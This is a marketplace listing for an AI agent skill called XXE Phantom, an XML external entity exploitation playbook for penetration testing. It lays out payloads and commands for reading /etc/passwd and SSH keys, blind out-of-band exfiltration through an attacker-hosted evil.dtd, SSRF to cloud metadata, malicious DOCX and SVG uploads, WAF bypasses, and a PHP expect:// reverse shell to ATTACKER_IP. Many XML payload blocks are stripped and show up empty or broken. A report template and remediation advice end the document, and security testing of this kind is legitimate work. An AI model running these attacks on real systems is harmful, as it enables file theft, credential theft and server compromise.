# Xxe Phantom

> An XXE detection and exploitation methodology engine. Triggered when testing for XML injection, interacting with XML content-types/endpoints, or processing XML-based file uploads (SVG, DOCX, SAML, SOAP). Facilitates classic file reads, blind OOB exfiltration, WAF bypasses, and SSRF chaining. Includes report structuring.

- **Type:** Skill
- **Install:** `agentstack add skill-rifteo-skills-xxe-phantom`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [Rifteo](https://agentstack.voostack.com/s/rifteo)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [Rifteo](https://github.com/Rifteo)
- **Source:** https://github.com/Rifteo/skills/tree/main/xxe-phantom

## Install

```sh
agentstack add skill-rifteo-skills-xxe-phantom
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# XXE Phantom — XML External Entity Injection

XXE occurs when an XML parser evaluates external entity declarations (``) supplied by the attacker. Impact ranges from local file disclosure to full SSRF and, in some stacks, Remote Code Execution.

---

## Phase 1 — Find the Attack Surface

### 1.1 Explicit XML Endpoints

Look for XML in request bodies or content-type headers:

```
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: application/rss+xml
Content-Type: application/atom+xml
Content-Type: application/xhtml+xml
```

```bash
# Burp search — find requests with XML content-type
# Proxy → HTTP history → Filter → Content-Type contains "xml"

# Or grep through Burp export:
grep -rl "application/xml\|text/xml\|soap" burp_export.xml
```

### 1.2 Hidden XML — Content-Type Switching

Many JSON APIs also accept XML. Try changing `Content-Type` on any POST/PUT endpoint:

```http
# Original (JSON)
POST /api/users
Content-Type: application/json
{"username":"test"}

# Switch to XML
POST /api/users
Content-Type: application/xml

test
```

If the response is the same (200, user created) — the endpoint parses XML too.

### 1.3 File Upload Vectors

These formats are ZIP-compressed XML and are parsed server-side:

| Format | Dangerous file inside ZIP |
|---|---|
| `.docx` / `.xlsx` / `.pptx` | `word/document.xml`, `xl/workbook.xml` |
| `.odt` / `.ods` | `content.xml` |
| `.svg` | The SVG file itself is XML |
| `.xsl` / `.xslt` | Stylesheet processed by XML transformer |
| `.xml` (config/import) | Any config upload feature |
| PDF (via FOP) | XSL-FO documents rendered to PDF |

### 1.4 SAML / SSO

SAML assertions are base64-encoded XML — always test:
- SSO login flows (SAMLResponse parameter)
- SP-initiated SSO (AuthnRequest)
- Single logout (LogoutRequest / LogoutResponse)

### 1.5 Other Surfaces

```
SOAP web services            → WSDL + SOAP body
WebDAV (PROPFIND)            → XML request body
RSS/Atom feed readers        → XML feed content
Excel/Calc imports           → XML-based spreadsheet
Custom XML API               → Any proprietary format
XMP metadata in images       → Embedded XML processed server-side
```

### 1.6 Confirm XML Parsing

Before injecting entities, confirm the parser echoes content back. Inject a unique canary inside an element and verify it appears in the response:

```xml

CANARY_1337
```

If `CANARY_1337` appears in the response → the parser reads and reflects XML content → proceed with entity injection.

---

## Phase 2 — Classic XXE (Visible Output)

Use when the application reflects XML content in the HTTP response.

### 2.1 File Read

```xml

]>
&xxe;
```

**Windows targets:**

```xml

```

**Check if output appears** in the response body, headers, or error messages.

### 2.2 SSRF — Internal HTTP Request

```xml

]>
&xxe;
```

Try internal network targets:

```xml

   
   
```

### 2.3 Port Scanning (Time-Based)

```xml
     
   
   
  
  
```

Open port → fast response. Closed port → connection refused or timeout.

### 2.4 Multi-File Read via Multiple Entities

```xml

  
  
]>

  &f1;
  &f2;
  &f3;

```

### 2.5 Error-Based File Read

When content is NOT reflected but errors ARE:

```xml

  ">
  %eval;
  %error;
]>

```

The parser tries to open a file path containing the contents of `/etc/passwd` → path error includes the file content.

---

## Phase 3 — Blind XXE (No Visible Output)

When the response never reflects entity content. Use Out-of-Band (OOB) exfiltration.

### 3.1 OOB via DNS — Simplest Confirmation

```xml

]>
&xxe;
```

If you get a DNS lookup or HTTP request at your OOB server → XXE confirmed, parser fetches external resources.

**OOB tools:**
- Burp Collaborator (Burp → Collaborator → Copy to clipboard)
- interactsh: `interactsh-client` → generates unique URL
- pingb.in, canarytokens.org (passive)

### 3.2 OOB File Exfiltration via External DTD

**Step 1** — Host a malicious DTD on your server (`evil.dtd`):

```xml

">
%wrap;
%send;
```

**Step 2** — Inject a parameter entity that fetches your DTD:

```xml

  %remote;
]>

```

**Step 3** — Your server receives: `GET /?data=root:x:0:0:root:/root:/bin/bash...`

**Host the DTD:**

```bash
# Python HTTP server
python3 -m http.server 80

# Or with ngrok for public URL
ngrok http 80
```

### 3.3 OOB via FTP (bypass HTTP-only egress filters)

Some servers allow FTP but block HTTP. Host a simple FTP server:

```xml

">
%wrap;
%send;
```

```bash
# Simple FTP server for capture (Python)
python3 scripts/xxe_probe.py --ftp-server --port 2121
```

### 3.4 Multi-Line File Read (Handle Newlines)

The basic approach breaks on newlines. Use PHP or Java wrappers to base64-encode first:

```xml

">
%wrap;
%send;
```

Then decode:

```bash
echo "cm9vdDp4OjA..." | base64 -d
```

**Java alternative (when PHP is not available):**

```xml

```

### 3.5 Error-Based Blind XXE (No HTTP Egress)

When the server has no outbound internet access but does produce error messages:

```xml

  ">
  %eval;
  %exfil;
]>

```

Parser error: `file not found: /nonexistent/root:x:0:0:root:/root:/bin/bash...` — the file content appears inside the error message.

---

## Phase 4 — XXE via File Uploads

### 4.1 SVG Upload

SVG is XML. If the server renders SVG (thumbnail, preview, display), it may parse entities:

```xml

]>

  &xxe;

```

Upload as `.svg`, then view the rendered image or the server response.

**Blind SVG (OOB):**

```xml

  %remote;
]>

  

```

### 4.2 DOCX / XLSX / PPTX (Office Open XML)

These are ZIP archives. Inject into the embedded XML:

```bash
# 1. Create a legitimate docx/xlsx
# 2. Unzip it
unzip legitimate.docx -d docx_extracted/

# 3. Edit word/document.xml (for .docx) or xl/workbook.xml (for .xlsx)
# Add at the top, after the XML declaration:
nano docx_extracted/word/document.xml
```

Add the XXE payload at the beginning of the XML file:

```xml

  %remote;
]>
```

```bash
# 4. Repack
cd docx_extracted && zip -r ../malicious.docx . && cd ..

# 5. Upload malicious.docx via the target's document import/upload feature
```

### 4.3 ODT / ODS (LibreOffice / OpenDocument)

```bash
unzip legitimate.odt -d odt_extracted/
# Edit content.xml — inject DOCTYPE before root element
nano odt_extracted/content.xml
# Repack
cd odt_extracted && zip -r ../malicious.odt . && cd ..
```

### 4.4 XSL / XSLT Injection

XSLT stylesheets support `document()` and `xsl:include` which fetch external resources:

```xml

  
  
    
  

```

```xml

```

---

## Phase 5 — XXE via XInclude

XInclude works **without controlling the DOCTYPE** — perfect for when the app wraps your input inside its own XML document.

```xml

  

```

```xml

  

```

**When to use XInclude:** the application constructs XML on the server-side and embeds user input inside it. You cannot inject a `DOCTYPE` because the parser receives a full document, but XInclude directives in element content are still processed.

---

## Phase 6 — SAML XXE

SAML assertions are base64-encoded XML sent in `SAMLResponse` parameters.

### 6.1 Intercept a SAML Flow

```bash
# Burp Suite → Proxy → intercept SAMLResponse parameter
# Decode the base64 value:
echo "PHNhbWxwOlJlc3BvbnNlIHhtbG5z..." | base64 -d | xmllint --format -
```

### 6.2 Inject XXE into the SAML Assertion

After decoding, find the `` root element and prepend a DOCTYPE:

```xml

  %remote;
]>

  

```

### 6.3 Re-encode and Send

```bash
# Re-encode and URL-encode for POST
python3 -c "
import base64, urllib.parse, sys
with open('modified_saml.xml','rb') as f:
    data = f.read()
encoded = base64.b64encode(data).decode()
print(urllib.parse.quote(encoded))
" > encoded_payload.txt

# Paste into SAMLResponse= parameter in Burp Repeater
```

**Note:** SAML signatures protect the assertion content. However:
- If the SP doesn't validate the signature → inject directly
- If only the `` element is signed → inject in the `` wrapper outside it
- If the XML parser processes entities before signature validation → works regardless

---

## Phase 7 — Protocol Handlers

Different protocols work depending on the XML parser and server platform:

| Protocol | Usage | Platform |
|---|---|---|
| `file://` | Local file read | All |
| `http://` / `https://` | SSRF | All (if network egress allowed) |
| `ftp://` | OOB exfiltration, bypasses HTTP filters | All |
| `php://filter/...` | Base64-encoded file read (no newlines) | PHP |
| `php://input` | Read request body | PHP |
| `expect://id` | RCE (requires expect:// wrapper enabled) | PHP (rare) |
| `netdoc://` | File read — handles newlines | Java |
| `jar://` | Multi-step: fetch JAR, read file inside | Java |
| `gopher://` | SSRF to TCP services (Gopher protocol) | Java/Python |

### PHP expect:// RCE (when enabled)

```xml

]>
&xxe;
```

Only works if PHP was compiled with `--enable-exif` or `expect` extension is loaded (uncommon).

### Gopher:// — SSRF to Internal TCP Services

```xml

```

Build Gopher payloads for internal services using tools like Gopherus.

---

## Phase 8 — WAF and Filter Bypass Techniques

### 8.1 Encoding the XML Declaration

```xml

]>
&xxe;
```

```xml

```

### 8.2 Chunked Transfer Encoding

Split the payload across chunks so WAF pattern matching fails:

```http
POST /api/data HTTP/1.1
Content-Type: application/xml
Transfer-Encoding: chunked

1a

1c
]>
e
&xxe;
0

```

### 8.3 Alternate DOCTYPE Syntax

```xml

]>

]>

```

### 8.4 CDATA Wrapper (bypass content-type filters)

```xml

]>
]]>&xxe;]]>
```

### 8.5 Nested Parameter Entities

Obfuscate the payload through multiple levels of entity expansion:

```xml
">
  %a;
  %b;
]>
```

### 8.6 Double URL Encoding in Entity Value

```xml

```

---

## Phase 9 — Escalation Chains

### 9.1 XXE → SSRF → Cloud Metadata (AWS / GCP / Azure)

```xml

```

### 9.2 XXE → LFI → SSH Private Key

```xml

```

Once you have the private key → SSH into the server.

### 9.3 XXE → LFI → Source Code → Credentials

```xml

```

### 9.4 XXE → SSRF → Internal Admin Panels

```xml

```

### 9.5 XXE → RCE (PHP expect://)

```xml

& /dev/tcp/ATTACKER_IP/4444 0>&1'">
]>
&xxe;
```

### 9.6 XXE → Gopher → Redis → RCE (Server-Side)

```bash
# Generate Gopher payload for Redis (using Gopherus)
python2 gopherus.py --exploit redis
# → generates gopher:// URL for writing cron job or PHP webshell
```

```xml

```

---

## Phase 10 — Automated Testing

### Burp Suite Workflow

1. **Intercept XML requests:** Proxy → HTTP history → filter Content-Type contains "xml"
2. **Send to Repeater** — manually inject the basic entity payload (Phase 2.1)
3. **Use Burp Collaborator** for blind OOB detection (Phase 3.1)
4. **Active Scan** — Burp Pro's scanner detects XXE automatically if pointed at XML endpoints
5. **BApp: Content Type Converter** — automatically retries requests with XML content-type
6. **BApp: Upload Scanner** — tests XXE in file upload fields (SVG, DOCX, etc.)

### XXEinjector (automation)

```bash
gem install xxeinjector  # or clone from GitHub

# Basic file read (visible output)
ruby XXEinjector.rb --host=YOUR-SERVER --path=/etc/passwd --file=request.txt --oob=http

# Blind OOB mode
ruby XXEinjector.rb --host=YOUR-SERVER --path=/etc/passwd --file=request.txt --oob=http --phpfilter

# Enumerate files in directory
ruby XXEinjector.rb --host=YOUR-SERVER --path=/var/www/ --file=request.txt --oob=http --enumerate

# request.txt format: the raw HTTP request with XXEINJECT marker where payload goes
```

### Script: `scripts/xxe_probe.py`

```bash
# Test single endpoint with visible output
python3 scripts/xxe_probe.py -u https://target.com/api/xml -f /etc/passwd

# Test with OOB server
python3 scripts/xxe_probe.py -u https://target.com/api/xml --oob http://YOUR-SERVER/ --file /etc/passwd

# Test file upload for XXE (SVG)
python3 scripts/xxe_probe.py -u https://target.com/upload --upload --format svg --oob http://YOUR-SERVER/

# Run FTP exfil server locally
python3 scripts/xxe_probe.py --ftp-server --port 2121
```

---

## Phase 11 — Confirm the Finding

- [ ] DOCTYPE injection accepted (no parser error, no 400 response)
- [ ] Entity value reflected in response (classic) OR OOB callback received (blind)
- [ ] File contents confirmed — at minimum first line of `/etc/passwd` showing `root:x:0:0:`
- [ ] Reproducible from a clean session without prior state
- [ ] SSRF confirmed if applicable — internal resource response or OOB DNS for internal host

**False positive checks:**
- Server returns 400 "DOCTYPE not allowed" → parser hardened, not vulnerable
- Entity syntax in response literally (`&xxe;` or `SYSTEM "..."`) → parser escaped rather than evaluated
- `CANARY_1337` reflects but `&xxe;` doesn't → reflection exists but entity expansion disabled (partial protection)
- OOB callback comes from YOUR machine, not the target → local test environment issue

---

## Phase 12 — Report Structure

```
Title: XXE Injection on [endpoint] — [Impact: Local File Read / SSRF / Blind OOB]

Severity:
  Critical: RCE via expect://, SSRF to cloud metadata with credential theft, SSH key read
  High:     Local file read (passwd, source code, .env), SSRF to internal services
  Medium:   SSRF to non-sensitive internal URLs, blind XXE confirmed but limited impact
  Low:      XXE confirmed but no external HTTP/file access allowed

CWE: CWE-611 — Improper Restriction of XML External Entity Reference
OWASP: A05:2021 – Security Misconfiguration

CVSS 3.1 Base (file read):
  AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N → 6.5 (Medium)
CVSS 3.1 Base (SSRF → internal admin, no auth):
  AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H → 10.0 (Critical)

Affected endpoint: POST https://target.com/api/xml
Content-Type: application/xml

Steps to reproduce:
1. Send the following request:
   POST /api/xml HTTP/1.1
   Host: target.com
   Content-Type: application/xml

   
   
   ]>
   &xxe;

2. Observe: response body contains contents of /etc/passwd:
   root:x:0:0:root:/root:/bin/bash
   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
   [...]

For Blind XXE:
1. Host evil.dtd at http://YOUR-SERVER/evil.dtd with content:
   [paste DTD]
2. Send request with:  %remote;
3. Observe OOB server receiving: GET /?data=root:x:0:0:root:...

Impact:
- [File read] Attacker can read arbitrary files accessible to the web server process
- [SSRF] Attacker can probe and interact with internal services not exposed to the internet
- [Credential theft] Application secrets, database passwords, and API keys exposed
- [Escalation] SSH private key read → server compromise / lateral movement

Evidence:
- HTTP request/response screenshot showing entity content in response
- OOB server log showing file content received (for blind)
- Screenshot of /etc/passwd contents in response

Remediation:
- Disable external entity processing in the XML parser (language-specific):

  Java (SAXParser):
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

  Python (lxml):
    parser = etree.XMLParser(resolve_entities=False, no_network=True)

  PHP (libxml):
    libxml_disable_entity_loader(true);   # PHP < 8.0
    # PHP 8.0+: entity loading disabled by default

  .NET:
    XmlReaderSettings settings = new XmlReaderSettings();
    settings.DtdProcessing = DtdProcessing.Prohibit;

  Node.js (libxmljs):
    libxmljs.parseXml(xml, { noent: false, dtdload: false, dtdvalid: false });

- Use a whitelist-based XML schema (XSD) to validate structure before parsing
- Reject requests with DOCTYPE declarations at the application layer
- Run the XML parser in a sandboxed environment with no network/filesystem access
- Prefer JSON over XML where XML functionality is not required
```

---

## Quick-Reference: Priority Attack Order

1. **Inject basic `file:///etc/passwd`** — confirm if reflection is visible
2. **OOB DNS check** — send entity to Collaborator URL — confirm parser makes outbound requests
3. **External

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [Rifteo](https://github.com/Rifteo)
- **Source:** [Rifteo/skills](https://github.com/Rifteo/skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** yes
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-rifteo-skills-xxe-phantom
- Seller: https://agentstack.voostack.com/s/rifteo
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
